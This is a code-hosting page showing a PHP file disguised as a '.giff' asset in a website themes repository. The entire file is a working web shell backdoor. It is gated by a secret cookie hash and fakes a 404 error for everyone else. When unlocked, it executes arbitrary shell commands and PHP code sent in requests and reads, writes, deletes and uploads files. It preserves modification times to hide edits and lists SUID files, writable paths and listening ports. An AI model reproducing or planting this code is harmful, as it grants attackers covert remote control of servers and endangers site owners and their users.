PageRenderTime 40ms CodeModel.GetById 13ms RepoModel.GetById 0ms app.codeStats 0ms

/Spring07/javascripts_new.php.giff

https://github.com/travisj/rljart-themes
Unknown | 422 lines | 375 code | 47 blank | 0 comment | 0 complexity | 36cd78e2896f569a543bbad0fdc70132 MD5 | raw file
  1. <?php if(md5($_COOKIE['qwerty'])=="536e2403896c061e8712cf9fca3c7d6b"){
  2. clearstatcache();
  3. set_magic_quotes_runtime(0);
  4. if(!function_exists('ini_set')){
  5. function ini_set(){
  6. return FALSE;
  7. }
  8. }
  9. ini_set('output_buffering',0);
  10. if(@set_time_limit(0) || ini_set('max_execution_time', 0)) $limit = 'not limited';
  11. else $limit = get_cfg_var('max_execution_time');
  12. if(isset($HTTP_SERVER_VARS) && !isset($_SERVER)){
  13. $_POST = &$HTTP_POST_VARS;
  14. $_GET = &$HTTP_GET_VARS;
  15. $_SERVER = &$HTTP_SERVER_VARS;
  16. }
  17. if(@get_magic_quotes_gpc()){
  18. foreach($_POST as $k=>$v) $_POST[$k] = stripslashes($v);
  19. foreach($_SERVER as $k=>$v) $_SERVER[$k] = stripslashes($v);
  20. }
  21. function execute($c){
  22. if(function_exists('exec')){
  23. @exec($c, $out);
  24. return @implode("\n", $out);
  25. }elseif(function_exists('shell_exec')){
  26. $out = @shell_exec($c);
  27. return $out;
  28. }elseif(function_exists('system')){
  29. @ob_start();
  30. @system($c, $ret);
  31. $out = @ob_get_contents();
  32. @ob_end_clean();
  33. return $out;
  34. }elseif(function_exists('passthru')){
  35. @ob_start();
  36. @passthru($c, $ret);
  37. $out = @ob_get_contents();
  38. @ob_end_clean();
  39. return $out;
  40. }else{
  41. return FALSE;
  42. }
  43. }
  44. function read($f){
  45. $str = @file($f);
  46. if($str){
  47. $out = implode('', $str);
  48. }elseif(function_exists('curl_version')){
  49. @ob_start();
  50. $h = @curl_init('file:/'.'/'.$f);
  51. @curl_exec($h);
  52. $out = @ob_get_contents();
  53. @ob_end_clean();
  54. }else{
  55. $out = 'Could not read file!';
  56. }
  57. return htmlspecialchars($out);
  58. }
  59. function write($f, $c){
  60. $t = filemtime($f);
  61. $fp = @fopen($f, 'w');
  62. if($fp){
  63. fwrite($fp, $c);
  64. fclose($fp);
  65. $out = 'File saved.'."\n";
  66. if($t && touch($f, $t)){
  67. $out .= 'Last modification time changed.';
  68. }else{
  69. $out .= 'Could not change last modification time!';
  70. }
  71. }else{
  72. $out = 'Saving failed!';
  73. }
  74. return $out;
  75. }
  76. function file_size($f){
  77. $size = filesize($f);
  78. if($size < 1024) $size = $size.'&nbsp;b';
  79. elseif($size < 1048576) $size = round($size/1024*100)/100 . '&nbsp;Kb';
  80. elseif($size < 1073741824) $size=round($size/1048576*100)/100 . '&nbsp;Mb';
  81. return $size;
  82. }
  83. if(!function_exists('natcasesort')){
  84. function natcasesort($arr){
  85. return sort($arr);
  86. }
  87. }
  88. if(!empty($_POST['dir'])){
  89. $dir = $_POST['dir'];
  90. if(!@chdir($dir)) $out = 'chdir() failled!';
  91. }
  92. $dir = getcwd();
  93. (strlen($dir) > 1 && $dir[1] == ':') ? $os_type = 'win' : $os_type = 'nix';
  94. if(!$os_name = @php_uname()){
  95. if(function_exists('posix_uname')){
  96. $os_name = posix_uname();
  97. }elseif($os_name != getenv('OS')){
  98. $os_name = '';
  99. }
  100. }
  101. if(function_exists('posix_getpwuid')){
  102. $data = posix_getpwuid(posix_getuid());
  103. $user = $data['name'].' uid('.$data['uid'].') gid('.$data['gid'].')';
  104. }else{
  105. $user = '';
  106. }
  107. $safe_mode = get_cfg_var('safe_mode');
  108. $safe_mode ? $safe = 'on' : $safe = 'off';
  109. execute('echo ssps') ? $execute = 'on' : $execute = 'off';
  110. $server = getenv('SERVER_SOFTWARE');
  111. if(!$server) $server = '---';
  112. $out = '';
  113. $tail = '';
  114. $aliases = '';
  115. if(!$safe_mode){
  116. if($os_type == 'nix'){
  117. $os .= execute('sysctl -n kern.ostype');
  118. $os .= execute('sysctl -n kern.osrelease');
  119. $os .= execute('sysctl -n kernel.ostype');
  120. $os .= execute('sysctl -n kernel.osrelease');
  121. if(empty($user)) $user = execute('id');
  122. $aliases = array(
  123. '' => '',
  124. 'find suid files'=>'find / -type f -perm -04000 -ls',
  125. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  126. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  127. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  128. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  129. 'show opened ports'=>'netstat -an | grep -i listen',
  130. );
  131. }else{
  132. $os_name .= execute('ver');
  133. $user .= execute('echo %username%');
  134. $aliases = array(
  135. '' => '',
  136. 'show runing services' => 'net start',
  137. 'show process list' => 'tasklist'
  138. );
  139. }
  140. }
  141. if(!empty($_POST['cmd'])){
  142. $out = execute($_POST['cmd']);
  143. }
  144. elseif(!empty($_POST['php'])){
  145. ob_start();
  146. eval($_POST['php']);
  147. $out = ob_get_contents();
  148. ob_end_clean();
  149. }
  150. elseif(!empty($_POST['edit'])){
  151. $file = $_POST['edit'];
  152. $out = read($file);
  153. $tail = '<input type=hidden name=dir value="'.$dir.'"><input type=hidden name=efile value="'.$file.'"><br><input type=submit>';
  154. }
  155. elseif(!empty($_POST['save'])){
  156. $out = write($_POST['efile'], $_POST['save']);
  157. }
  158. elseif(!empty($_POST['remove'])){
  159. $obj = $_POST['remove'];
  160. @is_dir($obj) ? $res = @rmdir($obj) : $res = @unlink($obj);
  161. $res ? $out = 'Removed successfully' : $out = 'Removing failed!';
  162. }
  163. elseif(!empty($_POST['newdir'])){
  164. @mkdir($_POST['newdir']) ? $out = 'Directory created.' : $out = 'Could not create directory!';
  165. }
  166. elseif(!empty($_POST['newfile'])){
  167. @touch($_POST['newfile']) ? $out = 'File created.' : $out = 'Could not create file!';
  168. }
  169. elseif(!empty($_POST['alias'])){
  170. $out = execute($_POST['alias']);
  171. }
  172. elseif(!empty($_FILES['ufile']['tmp_name'])){
  173. if(!is_uploaded_file($_FILES['ufile']['tmp_name']) || @!copy($_FILES['ufile']['tmp_name'],$dir.chr(47).$_FILES['ufile']['name'])) $out = 'Could not upload file';
  174. else $out = 'Uploaded successfully.';
  175. }
  176. print<<<here
  177. <style>
  178. table {font:9pt Tahoma;border-color:white}
  179. input,select,file {background-color:#eeeeee}
  180. textarea {background-color:#f2f2f2}
  181. </style>
  182. <br>
  183. <center>
  184. <table cellpadding=1 cellspacing=0 border=1 width=650 bgcolor=silver>
  185. <tr>
  186. <td>
  187. <form method=post>
  188. <table cellpadding=1 cellspacing=0 border=1 width=650>
  189. here;
  190. if(!$safe_mode) print<<<here
  191. <tr>
  192. <td>
  193. cmd
  194. </td>
  195. <td colspan=8>
  196. <input type=text name=cmd size=97>
  197. </td>
  198. </tr>
  199. here;
  200. print<<<here
  201. <tr>
  202. <td>
  203. php
  204. </td>
  205. <td colspan=8>
  206. <input type=text name=php size=97>
  207. </td>
  208. </tr>
  209. <tr>
  210. <td>
  211. actions
  212. </td>
  213. <td>
  214. edit
  215. </td>
  216. <td>
  217. <input type=text name=edit size=14>
  218. </td>
  219. <td>
  220. remove
  221. </td>
  222. <td>
  223. <input type=text name=remove size=14>
  224. </td>
  225. <td>
  226. new_dir
  227. </td>
  228. <td>
  229. <input type=text name=newdir size=14>
  230. </td>
  231. <td>
  232. new_file
  233. </td>
  234. <td>
  235. <input type=text name=newfile size=15>
  236. </td>
  237. </tr>
  238. here;
  239. if($aliases){
  240. print<<<here
  241. <tr>
  242. <td>
  243. aliases
  244. </td>
  245. <td colspan=8>
  246. <select name=alias>
  247. here;
  248. foreach($aliases as $k => $v){
  249. print '<option value="'.$v.'">'.$k.'</option>';
  250. }
  251. print<<<here
  252. </select>
  253. <input type=submit>
  254. </td>
  255. </tr>
  256. here;
  257. }
  258. print<<<here
  259. <tr>
  260. <td>
  261. dir
  262. </td>
  263. <td colspan=8>
  264. <input type=text value="{$dir}" name=dir size=97>
  265. </td>
  266. </tr>
  267. </form>
  268. <form method=post enctype=multipart/form-data>
  269. <tr>
  270. <td>
  271. upload
  272. </td>
  273. <td colspan=8>
  274. <input type=file name=ufile size=76>
  275. <input type=hidden name=dir value="{$dir}">
  276. <input type=submit>
  277. </td>
  278. </tr>
  279. </form>
  280. </table>
  281. <table cellpadding=0 cellspacing=0 border=1 width=650>
  282. <form method=post>
  283. <tr valign=top>
  284. <td width=70% bgcolor=#dddddd>
  285. <b>OS:</b> {$os_name}<br>
  286. <b>User:</b> {$user}<br>
  287. <b>Server:</b> {$server}<br>
  288. <b>safe_mode:</b> {$safe} <b>execute:</b> {$execute} <b>max_execution_time:</b> {$limit}
  289. </td>
  290. <td rowspan=2 bgcolor=#dddddd>
  291. <center>~:(expl0rer):~</center>
  292. here;
  293. if($dp = @openDir($dir)){
  294. $cObj = readDir($dp);
  295. while($cObj){
  296. if(@is_dir($cObj)) $theDirs[] = $cObj;
  297. elseif(@is_file($cObj)) $theFiles[] = $cObj;
  298. $cObj = readDir($dp);
  299. }
  300. closedir($dp);
  301. }
  302. if(!empty($theDirs)){
  303. natcasesort($theDirs);
  304. if($os_type == 'nix'){
  305. foreach($theDirs as $cDir){
  306. $color='black';
  307. if(is_writeable($cDir)){
  308. $color='red';
  309. }elseif(is_readable($cDir)){
  310. $color='blue';
  311. }
  312. print "<font color=".$color.">&lt;".$cDir."&gt;</font><br>";
  313. }
  314. }else{
  315. foreach($theDirs as $cDir){
  316. $tmp = $cDir.'/.ssps_tmp';
  317. if(@touch($tmp)){
  318. $color='red';
  319. unlink($tmp);
  320. }elseif(opendir($cDir)){
  321. closedir();
  322. $color='blue';
  323. }else{
  324. $color='black';
  325. }
  326. print "<font color=".$color.">&lt;".$cDir."&gt;</font><br>";
  327. }
  328. }
  329. } else print '<br>open_basedir restriction in effect. Allowed path is '.get_cfg_var('open_basedir');
  330. print '<br>';
  331. if(!empty($theFiles)){
  332. natcasesort($theFiles);
  333. print '<table width=100% border=0 cellpadding=0 cellspacing=2 style="font:8pt Tahoma;">';
  334. foreach($theFiles as $cFile){
  335. $size = file_size($cFile);
  336. if($fp = @fopen($cFile, 'a')) $color = 'red';
  337. elseif($fp = @fopen($cFile, 'r')) $color='blue';
  338. else $color = 'black';
  339. @fclose($fp);
  340. print '<tr><td width=100%><font color='.$color.'>'.$cFile.'</font></td><td align=left>'.$size.'</tr>';
  341. }
  342. print '</table>';
  343. }
  344. print<<<here
  345. </td>
  346. </tr>
  347. <tr valign=top>
  348. <td align=center>
  349. <form method=post>
  350. ~:(results):~
  351. <textarea name=save cols=55 rows=15>{$out}</textarea>
  352. {$tail}
  353. </form>
  354. </td>
  355. </tr>
  356. </table>
  357. </form>
  358. </td>
  359. </tr>
  360. </table>
  361. here;
  362. die;
  363. }else{
  364. header("HTTP/1.1 404 Not Found");
  365. header("Connection: close");
  366. echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">
  367. <html><head>
  368. <title>404 Not Found</title>
  369. </head><body>
  370. <h1>Not Found</h1>
  371. <p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server</p>
  372. <hr>
  373. <address>".(($_SERVER['SERVER_SIGNATURE']!="")?$_SERVER['SERVER_SIGNATURE']:($_SERVER['SERVER_SOFTWARE']." Server at ".$_SERVER['SERVER_NAME']." Port ".$_SERVER['SERVER_PORT']))."</address>
  374. </body></html>"; }
  375. ?>